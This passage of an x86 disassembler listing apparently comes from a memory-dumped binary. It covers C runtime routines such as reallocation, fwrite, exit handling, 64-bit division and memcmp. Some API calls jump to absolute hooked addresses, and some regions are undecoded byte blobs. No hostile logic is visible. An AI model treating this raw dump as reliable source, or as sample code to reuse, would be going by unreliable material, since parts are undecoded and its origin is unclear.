		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41944A
; ---------------------------------------------------------------------------

loc_41943D:				; CODE XREF: sub_4193FF+34j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_419D23
		pop	ecx
		pop	ecx

loc_41944A:				; CODE XREF: sub_4193FF+3Cj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_4193FF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41944F	proc near		; CODE XREF: sub_40C259+2Ep
					; sub_418603+35p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_41946A
		push	[ebp+arg_4]
		call	sub_417B89
		pop	ecx
		jmp	loc_4196EA
; ---------------------------------------------------------------------------

loc_41946A:				; CODE XREF: sub_41944F+Bj
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jnz	short loc_41947F
		push	[ebp+arg_0]
		call	sub_417C3B
		pop	ecx
		jmp	loc_4196E8
; ---------------------------------------------------------------------------

loc_41947F:				; CODE XREF: sub_41944F+20j
		mov	eax, dword_48B688
		cmp	eax, 3
		jnz	loc_41958F

loc_41948D:				; CODE XREF: sub_41944F+12Ej
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_41956B
		push	[ebp+arg_0]
		call	sub_41AD89
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	loc_419546
		cmp	esi, dword_48B680
		ja	short loc_4194FF
		mov	edi, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_41B592
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4194FB
		push	esi
		call	sub_41B0DD
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_4194FF
		mov	ebx, [ebp+arg_0]
		mov	eax, [ebx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_4194DF
		mov	eax, esi

loc_4194DF:				; CODE XREF: sub_41944F+8Cj
		push	eax
		push	ebx
		push	edi
		call	sub_417390
		push	ebx
		call	sub_41AD89
		push	[ebp+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_41ADB4
		add	esp, 18h

loc_4194FB:				; CODE XREF: sub_41944F+74j
		test	edi, edi
		jnz	short loc_419542

loc_4194FF:				; CODE XREF: sub_41944F+62j
					; sub_41944F+81j
		test	esi, esi
		jnz	short loc_419506
		push	1
		pop	esi

loc_419506:				; CODE XREF: sub_41944F+B2j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	0
		push	dword_48B684
		call	near ptr 26D0000h
		nop
		mov	edi, eax
		test	edi, edi
		jz	short loc_419542
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_41952E
		mov	eax, esi

loc_41952E:				; CODE XREF: sub_41944F+DBj
		push	eax
		push	ecx
		push	edi
		call	sub_417390
		push	[ebp+arg_0]
		push	ebx
		call	sub_41ADB4
		add	esp, 14h

loc_419542:				; CODE XREF: sub_41944F+AEj
					; sub_41944F+D0j
		test	ebx, ebx
		jnz	short loc_419567

loc_419546:				; CODE XREF: sub_41944F+56j
		test	esi, esi
		jnz	short loc_41954D
		push	1
		pop	esi

loc_41954D:				; CODE XREF: sub_41944F+F9j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_48B684
		nop
		call	near ptr 27E0000h
		mov	edi, eax

loc_419567:				; CODE XREF: sub_41944F+F5j
		test	edi, edi
		jnz	short loc_419588

loc_41956B:				; CODE XREF: sub_41944F+43j
		cmp	dword_48A074, 0
		jz	short loc_419588
		push	esi
		call	sub_41AB54
		test	eax, eax
		pop	ecx
		jnz	loc_41948D
		jmp	loc_4196E8
; ---------------------------------------------------------------------------

loc_419588:				; CODE XREF: sub_41944F+11Aj
					; sub_41944F+123j ...
		mov	eax, edi
		jmp	loc_4196EA
; ---------------------------------------------------------------------------

loc_41958F:				; CODE XREF: sub_41944F+38j
		cmp	eax, 2
		jnz	loc_4196AA
		cmp	esi, 0FFFFFFE0h
		ja	short loc_4195AC
		test	esi, esi
		jbe	short loc_4195A9
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		jmp	short loc_4195AC
; ---------------------------------------------------------------------------

loc_4195A9:				; CODE XREF: sub_41944F+150j
		push	10h
		pop	esi

loc_4195AC:				; CODE XREF: sub_41944F+14Cj
					; sub_41944F+158j ...
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_41968C
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		call	sub_41BAE4
		mov	ebx, eax
		add	esp, 0Ch
		test	ebx, ebx
		jz	loc_419670
		cmp	esi, dword_43B7E4
		jnb	short loc_419634
		mov	edi, esi
		shr	edi, 4
		push	edi
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41BEAC
		add	esp, 10h
		test	eax, eax
		jz	short loc_4195FA
		mov	edi, [ebp+arg_0]
		jmp	short loc_41962C
; ---------------------------------------------------------------------------

loc_4195FA:				; CODE XREF: sub_41944F+1A4j
		push	edi
		call	sub_41BB80
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_419634
		movzx	eax, byte ptr [ebx]
		shl	eax, 4
		cmp	eax, esi
		jb	short loc_419613
		mov	eax, esi

loc_419613:				; CODE XREF: sub_41944F+1C0j
		push	eax
		push	[ebp+arg_0]
		push	edi
		call	sub_417390
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41BB3B
		add	esp, 18h

loc_41962C:				; CODE XREF: sub_41944F+1A9j
		test	edi, edi
		jnz	loc_419588

loc_419634:				; CODE XREF: sub_41944F+18Bj
					; sub_41944F+1B6j
		push	esi
		push	0
		push	dword_48B684
		call	near ptr 26D0000h
		nop
		mov	edi, eax
		test	edi, edi
		jz	short loc_41968C
		movzx	eax, byte ptr [ebx]
		shl	eax, 4
		cmp	eax, esi
		jb	short loc_419655
		mov	eax, esi

loc_419655:				; CODE XREF: sub_41944F+202j
		push	eax
		push	[ebp+arg_0]
		push	edi
		call	sub_417390
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41BB3B
		add	esp, 18h
		jmp	short loc_419684
; ---------------------------------------------------------------------------

loc_419670:				; CODE XREF: sub_41944F+17Fj
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_48B684
		nop
		call	near ptr 27E0000h
		mov	edi, eax

loc_419684:				; CODE XREF: sub_41944F+21Fj
		test	edi, edi
		jnz	loc_419588

loc_41968C:				; CODE XREF: sub_41944F+162j
					; sub_41944F+1F8j
		cmp	dword_48A074, 0
		jz	loc_419588
		push	esi
		call	sub_41AB54
		test	eax, eax
		pop	ecx
		jnz	loc_4195AC
		jmp	short loc_4196E8
; ---------------------------------------------------------------------------

loc_4196AA:				; CODE XREF: sub_41944F+143j
					; sub_41944F+297j
		xor	eax, eax
		cmp	esi, 0FFFFFFE0h
		ja	short loc_4196D4
		test	esi, esi
		jnz	short loc_4196B8
		push	1
		pop	esi

loc_4196B8:				; CODE XREF: sub_41944F+264j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_48B684
		call	near ptr 27E0000h
		nop
		test	eax, eax
		jnz	short loc_4196EA

loc_4196D4:				; CODE XREF: sub_41944F+260j
		cmp	dword_48A074, 0
		jz	short loc_4196EA
		push	esi
		call	sub_41AB54
		test	eax, eax
		pop	ecx
		jnz	short loc_4196AA

loc_4196E8:				; CODE XREF: sub_41944F+2Bj
					; sub_41944F+134j ...
		xor	eax, eax

loc_4196EA:				; CODE XREF: sub_41944F+16j
					; sub_41944F+13Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41944F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4196EF	proc near		; CODE XREF: sub_40C8B4+127p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		test	edi, edi
		mov	[ebp+arg_0], eax
		mov	ebx, edi
		jnz	short loc_419713
		xor	eax, eax
		jmp	loc_4197E0
; ---------------------------------------------------------------------------

loc_419713:				; CODE XREF: sub_4196EF+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_419726
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_41972D
; ---------------------------------------------------------------------------

loc_419726:				; CODE XREF: sub_4196EF+2Dj
		mov	[ebp+arg_C], 1000h

loc_41972D:				; CODE XREF: sub_4196EF+35j
					; sub_4196EF+E8j
		mov	ecx, [esi+0Ch]
		and	ecx, 108h
		jz	short loc_419761
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_419761
		cmp	ebx, eax
		mov	edi, ebx
		jb	short loc_419747
		mov	edi, eax

loc_419747:				; CODE XREF: sub_4196EF+54j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi]
		call	sub_417390
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		sub	ebx, edi
		add	[ebp+arg_0], edi
		jmp	short loc_4197A7
; ---------------------------------------------------------------------------

loc_419761:				; CODE XREF: sub_4196EF+47j
					; sub_4196EF+4Ej
		cmp	ebx, [ebp+arg_C]
		jb	short loc_4197AC
		test	ecx, ecx
		jz	short loc_419775
		push	esi
		call	sub_41A7D0
		test	eax, eax
		pop	ecx
		jnz	short loc_4197EE

loc_419775:				; CODE XREF: sub_4196EF+79j
		cmp	[ebp+arg_C], 0
		jz	short loc_419788
		mov	eax, ebx
		xor	edx, edx
		div	[ebp+arg_C]
		mov	edi, ebx
		sub	edi, edx
		jmp	short loc_41978A
; ---------------------------------------------------------------------------

loc_419788:				; CODE XREF: sub_4196EF+8Aj
		mov	edi, ebx

loc_41978A:				; CODE XREF: sub_4196EF+97j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi+10h]
		call	sub_41ED97
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4197E5
		add	[ebp+arg_0], eax
		sub	ebx, eax
		cmp	eax, edi
		jb	short loc_4197E5

loc_4197A7:				; CODE XREF: sub_4196EF+70j
		mov	edi, [ebp+var_4]
		jmp	short loc_4197D5
; ---------------------------------------------------------------------------

loc_4197AC:				; CODE XREF: sub_4196EF+75j
		mov	eax, [ebp+arg_0]
		push	esi
		movsx	eax, byte ptr [eax]
		push	eax
		call	sub_419D23
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_4197EE
		inc	[ebp+arg_0]
		mov	eax, [esi+18h]
		dec	ebx
		mov	[ebp+arg_C], eax
		test	eax, eax
		jg	short loc_4197D5
		mov	[ebp+arg_C], 1

loc_4197D5:				; CODE XREF: sub_4196EF+BBj
					; sub_4196EF+DDj
		test	ebx, ebx
		jnz	loc_41972D
		mov	eax, [ebp+arg_8]

loc_4197E0:				; CODE XREF: sub_4196EF+1Fj
					; sub_4196EF+108j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_4197E5:				; CODE XREF: sub_4196EF+ADj
					; sub_4196EF+B6j
		or	dword ptr [esi+0Ch], 20h
		mov	eax, [ebp+var_4]
		jmp	short loc_4197F0
; ---------------------------------------------------------------------------

loc_4197EE:				; CODE XREF: sub_4196EF+84j
					; sub_4196EF+CFj
		mov	eax, edi

loc_4197F0:				; CODE XREF: sub_4196EF+FDj
		sub	eax, ebx
		xor	edx, edx
		div	[ebp+arg_4]
		jmp	short loc_4197E0
sub_4196EF	endp


; =============== S U B	R O U T	I N E =======================================



sub_4197F9	proc near		; CODE XREF: sub_40D000+8p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	[esp+arg_0]
		nop
		call	near ptr 2650426h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_419819
		nop
		call	near ptr 2610941h
		push	eax
		call	sub_41EF44
		pop	ecx

loc_419815:				; CODE XREF: sub_4197F9+3Fj
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------

loc_419819:				; CODE XREF: sub_4197F9+Dj
		test	al, 1
		jz	short loc_41983A
		test	[esp+arg_4], 2
		jz	short loc_41983A
		mov	dword_48A014, 0Dh
		mov	dword_48A018, 5
		jmp	short loc_419815
; ---------------------------------------------------------------------------

loc_41983A:				; CODE XREF: sub_4197F9+22j
					; sub_4197F9+29j
		xor	eax, eax
		retn
sub_4197F9	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_419840	proc near		; CODE XREF: sub_40D12A+5Fp
					; sub_40D12A+92p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	edi
		push	esi
		push	ebx
		xor	edi, edi
		mov	eax, [esp+0Ch+arg_4]
		or	eax, eax
		jge	short loc_419861
		inc	edi
		mov	edx, [esp+0Ch+arg_0]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_4], eax
		mov	[esp+0Ch+arg_0], edx

loc_419861:				; CODE XREF: sub_419840+Bj
		mov	eax, [esp+0Ch+arg_C]
		or	eax, eax
		jge	short loc_41987D
		inc	edi
		mov	edx, [esp+0Ch+arg_8]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_C], eax
		mov	[esp+0Ch+arg_8], edx

loc_41987D:				; CODE XREF: sub_419840+27j
		or	eax, eax
		jnz	short loc_419899
		mov	ecx, [esp+0Ch+arg_8]
		mov	eax, [esp+0Ch+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+0Ch+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_4198DA
; ---------------------------------------------------------------------------

loc_419899:				; CODE XREF: sub_419840+3Fj
		mov	ebx, eax
		mov	ecx, [esp+0Ch+arg_8]
		mov	edx, [esp+0Ch+arg_4]
		mov	eax, [esp+0Ch+arg_0]

loc_4198A7:				; CODE XREF: sub_419840+71j
		shr	ebx, 1
		rcr	ecx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ebx, ebx
		jnz	short loc_4198A7
		div	ecx
		mov	esi, eax
		mul	[esp+0Ch+arg_C]
		mov	ecx, eax
		mov	eax, [esp+0Ch+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_4198D5
		cmp	edx, [esp+0Ch+arg_4]
		ja	short loc_4198D5
		jb	short loc_4198D6
		cmp	eax, [esp+0Ch+arg_0]
		jbe	short loc_4198D6

loc_4198D5:				; CODE XREF: sub_419840+85j
					; sub_419840+8Bj
		dec	esi

loc_4198D6:				; CODE XREF: sub_419840+8Dj
					; sub_419840+93j
		xor	edx, edx
		mov	eax, esi

loc_4198DA:				; CODE XREF: sub_419840+57j
		dec	edi
		jnz	short loc_4198E4
		neg	edx
		neg	eax
		sbb	edx, 0

loc_4198E4:				; CODE XREF: sub_419840+9Bj
		pop	ebx
		pop	esi
		pop	edi
		retn	10h
sub_419840	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4198F0	proc near		; CODE XREF: sub_40D48D+1Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		test	eax, eax
		jz	short locret_41993C
		mov	edx, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, edx
		mov	edi, [esp+8+arg_4]
		or	edx, edi
		and	edx, 3
		jz	short loc_41993D
		test	eax, 1
		jz	short loc_41991D
		mov	cl, [esi]
		cmp	cl, [edi]
		jnz	short loc_41996A
		inc	esi
		inc	edi
		dec	eax
		jz	short loc_41993A

loc_41991D:				; CODE XREF: sub_4198F0+20j
					; sub_4198F0+48j
		mov	cl, [esi]
		mov	dl, [edi]
		cmp	cl, dl
		jnz	short loc_41996A
		mov	cl, [esi+1]
		mov	dl, [edi+1]
		cmp	cl, dl
		jnz	short loc_41996A
		add	edi, 2
		add	esi, 2
		sub	eax, 2
		jnz	short loc_41991D

loc_41993A:				; CODE XREF: sub_4198F0+2Bj
					; sub_4198F0+84j
		pop	edi
		pop	esi

locret_41993C:				; CODE XREF: sub_4198F0+6j
		retn
; ---------------------------------------------------------------------------

loc_41993D:				; CODE XREF: sub_4198F0+19j
		mov	ecx, eax
		and	eax, 3
		shr	ecx, 2
		jz	short loc_419972
		repe cmpsd
		jz	short loc_419972
		mov	ecx, [esi-4]
		mov	edx, [edi-4]
		cmp	cl, dl
		jnz	short loc_419965
		cmp	ch, dh
		jnz	short loc_419965
		shr	ecx, 10h
		shr	edx, 10h
		cmp	cl, dl
		jnz	short loc_419965
		cmp	ch, dh

loc_419965:				; CODE XREF: sub_4198F0+63j
					; sub_4198F0+67j ...
		mov	eax, 0

loc_41996A:				; CODE XREF: sub_4198F0+26j
					; sub_4198F0+33j ...
		sbb	eax, eax
		pop	edi
		sbb	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_419972:				; CODE XREF: sub_4198F0+55j
					; sub_4198F0+59j
		test	eax, eax
		jz	short loc_41993A
		mov	edx, [esi]
		mov	ecx, [edi]
		cmp	dl, cl
		jnz	short loc_419965
		dec	eax
		jz	short loc_419999
		cmp	dh, ch
		jnz	short loc_419965
		dec	eax
		jz	short loc_419999
		and	ecx, 0FF0000h
		and	edx, 0FF0000h
		cmp	edx, ecx
		jnz	short loc_419965
		dec	eax

loc_419999:				; CODE XREF: sub_4198F0+8Fj
					; sub_4198F0+96j
		pop	edi
		pop	esi
		retn
sub_4198F0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41999C	proc near		; CODE XREF: sub_40E5EB+55p
					; sub_415F88+236p

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		cmp	word ptr [ecx],	0
		lea	eax, [ecx+2]
		jz	short loc_4199B3

loc_4199A9:				; CODE XREF: sub_41999C+15j
		mov	dx, [eax]
		inc	eax
		inc	eax
		test	dx, dx
		jnz	short loc_4199A9

loc_4199B3:				; CODE XREF: sub_41999C+Bj
		sub	eax, ecx
		sar	eax, 1
		dec	eax
		retn
sub_41999C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4199B9	proc near		; CODE XREF: sub_40E5EB+19p
					; sub_40E5EB+49p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		push	ebx
		push	esi
		xor	esi, esi
		xor	eax, eax
		cmp	edx, esi
		push	edi
		jz	loc_419A86
		mov	edi, [ebp+arg_8]
		cmp	edi, esi
		jz	loc_419AB3
		cmp	dword_48A0A8, esi
		jnz	short loc_419A0A
		cmp	edi, esi
		jbe	loc_419AB3

loc_4199E9:				; CODE XREF: sub_4199B9+4Aj
		mov	ecx, [ebp+arg_4]
		add	ecx, eax
		movzx	si, byte ptr [ecx]
		mov	[edx], si
		cmp	byte ptr [ecx],	0
		jz	loc_419AB3
		inc	eax
		inc	edx
		inc	edx
		cmp	eax, edi
		jb	short loc_4199E9
		jmp	loc_419AB3
; ---------------------------------------------------------------------------

loc_419A0A:				; CODE XREF: sub_4199B9+26j
		mov	ebx, [ebp+arg_4]
		mov	esi, dword_424070
		push	edi
		push	edx
		push	0FFFFFFFFh
		push	ebx
		push	9
		push	dword_48A0B8
		call	esi
		test	eax, eax
		jnz	loc_419AB2
		call	near ptr 2610941h
		nop
		cmp	eax, 7Ah
		jz	short loc_419A44

loc_419A35:				; CODE XREF: sub_4199B9+CBj
					; sub_4199B9+F7j
		mov	dword_48A014, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_419AB3
; ---------------------------------------------------------------------------

loc_419A44:				; CODE XREF: sub_4199B9+7Aj
		lea	ecx, [edi-1]
		mov	eax, ebx
		mov	[ebp+arg_4], ecx

loc_419A4C:				; CODE XREF: sub_4199B9+B3j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_419A6E
		mov	edx, off_4395A0
		movzx	ecx, cl
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_419A63
		inc	eax

loc_419A63:				; CODE XREF: sub_4199B9+A7j
		mov	ecx, [ebp+arg_4]
		inc	eax
		dec	[ebp+arg_4]
		test	ecx, ecx
		jnz	short loc_419A4C

loc_419A6E:				; CODE XREF: sub_4199B9+97j
		push	edi
		sub	eax, ebx
		push	[ebp+arg_0]
		push	eax
		push	ebx
		push	1
		push	dword_48A0B8
		call	esi
		test	eax, eax
		jnz	short loc_419AB3
		jmp	short loc_419A35
; ---------------------------------------------------------------------------

loc_419A86:				; CODE XREF: sub_4199B9+Fj
		cmp	dword_48A0A8, esi
		jnz	short loc_419A99
		push	[ebp+arg_4]
		call	sub_417AB0
		pop	ecx
		jmp	short loc_419AB3
; ---------------------------------------------------------------------------

loc_419A99:				; CODE XREF: sub_4199B9+D3j
		push	esi
		push	esi
		push	0FFFFFFFFh
		push	[ebp+arg_4]
		push	9
		push	dword_48A0B8
		nop
		call	near ptr 25F0000h
		cmp	eax, esi
		jz	short loc_419A35

loc_419AB2:				; CODE XREF: sub_4199B9+6Bj
		dec	eax

loc_419AB3:				; CODE XREF: sub_4199B9+1Aj
					; sub_4199B9+2Aj ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4199B9	endp

; ---------------------------------------------------------------------------
		mov	eax, off_43956C
		test	eax, eax
		jz	short loc_419AC3
		call	eax ; sub_417D73

loc_419AC3:				; CODE XREF: ___:00419ABFj
		push	offset dword_426028
		push	offset dword_426014
		call	sub_419BA0
		push	offset dword_426010
		push	offset dword_426000
		call	sub_419BA0
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		push	0
		push	0
		push	dword ptr [esp+0Ch]
		call	sub_419B07
		add	esp, 0Ch
		retn

; =============== S U B	R O U T	I N E =======================================



sub_419AF6	proc near		; CODE XREF: sub_419CDA+1Cp
					; sub_41D4FC+3438p ...

arg_0		= dword	ptr  4

		push	0
		push	1
		push	[esp+8+arg_0]
		call	sub_419B07
		add	esp, 0Ch
		retn
sub_419AF6	endp


; =============== S U B	R O U T	I N E =======================================



sub_419B07	proc near		; CODE XREF: ___:00419AEDp
					; sub_419AF6+8p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		push	1
		pop	edi
		cmp	dword_48A05C, edi
		jnz	short loc_419B24
		push	[esp+4+arg_0]
		nop
		call	near ptr 2740D21h
		push	eax
		nop
		call	near ptr 2790AB4h

loc_419B24:				; CODE XREF: sub_419B07+Aj
		cmp	[esp+4+arg_4], 0
		push	ebx
		mov	ebx, [esp+8+arg_8]
		mov	dword_48A058, edi
		mov	byte_48A054, bl
		jnz	short loc_419B78
		mov	eax, dword_48B69C
		test	eax, eax
		jz	short loc_419B67
		mov	ecx, dword_48B698
		push	esi
		lea	esi, [ecx-4]
		cmp	esi, eax
		jb	short loc_419B66

loc_419B53:				; CODE XREF: sub_419B07+5Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_419B5B
		call	eax

loc_419B5B:				; CODE XREF: sub_419B07+50j
		sub	esi, 4
		cmp	esi, dword_48B69C
		jnb	short loc_419B53

loc_419B66:				; CODE XREF: sub_419B07+4Aj
		pop	esi

loc_419B67:				; CODE XREF: sub_419B07+3Cj
		push	offset dword_426034
		push	offset dword_42602C
		call	sub_419BA0
		pop	ecx
		pop	ecx

loc_419B78:				; CODE XREF: sub_419B07+33j
		push	offset dword_426040
		push	offset dword_426038
		call	sub_419BA0
		pop	ecx
		pop	ecx
		test	ebx, ebx
		pop	ebx
		jnz	short loc_419B9E
		push	[esp+4+arg_0]
		mov	dword_48A05C, edi
		nop
		call	near ptr 77E75CB5h

loc_419B9E:				; CODE XREF: sub_419B07+85j
		pop	edi
		retn
sub_419B07	endp


; =============== S U B	R O U T	I N E =======================================



sub_419BA0	proc near		; CODE XREF: ___:00419ACDp
					; ___:00419ADCp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]

loc_419BA5:				; CODE XREF: sub_419BA0+16j
		cmp	esi, [esp+4+arg_4]
		jnb	short loc_419BB8
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_419BB3
		call	eax

loc_419BB3:				; CODE XREF: sub_419BA0+Fj
		add	esi, 4
		jmp	short loc_419BA5
; ---------------------------------------------------------------------------

loc_419BB8:				; CODE XREF: sub_419BA0+9j
		pop	esi
		retn
sub_419BA0	endp


; =============== S U B	R O U T	I N E =======================================



sub_419BBA	proc near		; CODE XREF: sub_40EE72+2BBBp

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		nop
		call	near ptr 2780B96h
		test	eax, eax
		jnz	short loc_419BD0
		call	near ptr 2610941h
		nop
		jmp	short loc_419BD2
; ---------------------------------------------------------------------------

loc_419BD0:				; CODE XREF: sub_419BBA+Cj
		xor	eax, eax

loc_419BD2:				; CODE XREF: sub_419BBA+14j
		test	eax, eax
		jz	short loc_419BE1
		push	eax
		call	sub_41EF44
		pop	ecx
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------

loc_419BE1:				; CODE XREF: sub_419BBA+1Aj
		xor	eax, eax
		retn
sub_419BBA	endp

; ---------------------------------------------------------------------------
aFlwBU8wiZADb	db 'fLW/',0Dh,'8Wz!d',0
		align 4
		dd 89645000h, 25h, 58EC8300h, 89575653h, 4BE8E865h, 90023D7Eh
		dd 0D48AD233h, 0A02C1589h, 0C88B0048h, 0FFE181h, 0D890000h
		dd 48A028h, 308E1C1h, 240D89CAh, 0C10048A0h, 20A310E8h
		dd 330048A0h, 0A1E856F6h, 59000010h, 875C085h, 0B0E81C6Ah
		dd 59000000h, 0E8FC7589h, 5967h, 7DB4E890h, 8CA3023Dh
		dd 0E80048B6h, 5825h, 48A060A3h, 55CEE800h, 10E80000h
		dd 0E8000055h, 0FFFFFE3Ch, 8DD07589h, 9050A445h, 3D6377E8h
		dd 54A1E802h, 45890000h, 0D045F69Ch, 0F067401h,	0EBD445B7h
		dd 580A6A03h, 9C75FF50h, 0E8905656h, 22C6DEDh, 49F7E850h
		dd 4589FFFFh, 2AE850A0h, 8BFFFFFEh, 88BEC45h, 4D89098Bh
		dd 0E8515098h, 52DFh, 8BC35959h, 75FFE865h, 0FE1CE898h
		db 2 dup(0FFh)

; =============== S U B	R O U T	I N E =======================================



sub_419CDA	proc near		; CODE XREF: sub_418682+16p
					; ___:0041F1D5p ...

arg_0		= dword	ptr  4

		cmp	dword_48A068, 1
		jnz	short loc_419CE8
		call	sub_41F84C

loc_419CE8:				; CODE XREF: sub_419CDA+7j
		push	[esp+arg_0]
		call	sub_41F885
		push	0FFh
		call	off_439590
		pop	ecx
		pop	ecx
		retn
sub_419CDA	endp

; ---------------------------------------------------------------------------
		db 83h
		dd 48A0683Dh, 5750100h,	5B3FE8h, 2474FF00h, 5B6FE804h
		dd 68590000h, 0FFh, 0A5BF94E8h
		db 77h,	90h, 0C3h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419D23	proc near		; CODE XREF: sub_4172B0+46p
					; sub_41782A+45p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [esi+0Ch]
		mov	ebx, [esi+10h]
		test	al, 82h
		jz	loc_419E2C
		test	al, 40h
		jnz	loc_419E2C
		test	al, 1
		jz	short loc_419D5B
		and	dword ptr [esi+4], 0
		test	al, 10h
		jz	loc_419E2C
		mov	ecx, [esi+8]
		and	al, 0FEh
		mov	[esi], ecx
		mov	[esi+0Ch], eax

loc_419D5B:				; CODE XREF: sub_419D23+20j
		mov	eax, [esi+0Ch]
		and	dword ptr [esi+4], 0
		and	[ebp+arg_4], 0
		and	al, 0EFh
		or	al, 2
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_419D95
		cmp	esi, offset dword_43BCD8
		jz	short loc_419D83
		cmp	esi, offset dword_43BCF8
		jnz	short loc_419D8E

loc_419D83:				; CODE XREF: sub_419D23+56j
		push	ebx
		call	sub_41FA1C
		test	eax, eax
		pop	ecx
		jnz	short loc_419D95

loc_419D8E:				; CODE XREF: sub_419D23+5Ej
		push	esi
		call	sub_41F9D8
		pop	ecx

loc_419D95:				; CODE XREF: sub_419D23+4Ej
					; sub_419D23+69j
		test	word ptr [esi+0Ch], 108h
		push	edi
		jz	short loc_419E02
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		lea	ecx, [eax+1]
		mov	[esi], ecx
		mov	ecx, [esi+18h]
		dec	ecx
		test	edi, edi
		mov	[esi+4], ecx
		jle	short loc_419DC5
		push	edi
		push	eax
		push	ebx
		call	sub_41ED97
		add	esp, 0Ch
		mov	[ebp+arg_4], eax
		jmp	short loc_419DF8
; ---------------------------------------------------------------------------

loc_419DC5:				; CODE XREF: sub_419D23+90j
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_419DE0
